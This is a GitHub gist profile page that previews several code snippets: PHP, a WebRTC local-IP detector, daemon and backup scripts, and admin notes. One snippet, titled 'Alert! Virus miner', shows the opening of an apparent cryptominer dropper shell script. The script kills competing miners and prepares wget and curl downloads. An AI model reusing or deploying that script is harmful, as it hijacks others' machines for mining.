Skip to content

Instantly share code, notes, and snippets.

View nqxcode's full-sized avatar
:octocat:
Working...

Andrey Pokoev nqxcode

:octocat:
Working...
  • Tula
View GitHub Profile
@nqxcode
nqxcode / abstract_xml_reading_example.php
Last active August 5, 2019 08:29
Abstract Xml Reader example
<?php
/***
*
* Примерные классы для обобщения функционала чтения из xml.
*
*/
interface OfferCollectionInterface
{
public function getSomething();
@nqxcode
nqxcode / local-ip-detector.js
Created July 31, 2019 20:31
local ip detector
// Example (using the function below).
getLocalIPs(function(ips) { // <!-- ips is an array of local IP addresses.
document.body.textContent = 'Local IP addresses:\n ' + ips.join('\n ');
});
function getLocalIPs(callback) {
var ips = [];
var RTCPeerConnection = window.RTCPeerConnection ||
window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
#!/bin/bash
# myapp daemon
# chkconfig: 345 20 80
# description: myapp daemon
# processname: myapp
DAEMON_PATH="/home/wes/Development/projects/myapp"
DAEMON=myapp
DAEMONOPTS="-my opts"
description "Run backups for external versions of sites"
author "Andrey Pokoev"
start on filesystem or runlevel [2345]
stop on shutdown
respawn
script
exec sudo -u andrey /usr/bin/php /home/andrey/work/php/web/list-site/artisan app:backup
@nqxcode
nqxcode / cr2.sh
Created March 28, 2019 11:18
Alert! Virus miner
#!/bin/sh
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
pkill -f zer0day.ru
WGET="wget -O"
if [ -s /usr/bin/curl ];
@nqxcode
nqxcode / flipMatrix.js
Created March 14, 2019 21:01
Javascript flipMatrix
function flipMatrix(matrix) {
return matrix[0].map(function(column, index) {
return matrix.map(function(row) {
return row[index];
});
});
}
@nqxcode
nqxcode / Linux commands for administrators.md
Last active January 25, 2021 11:19
Linux commands for administrators

Тестирование конфигураций веб-серверов

Тестирование конфигураций Apache:

/usr/sbin/apachectl configtest

Тестирование конфигураций Nginx:

nginx -t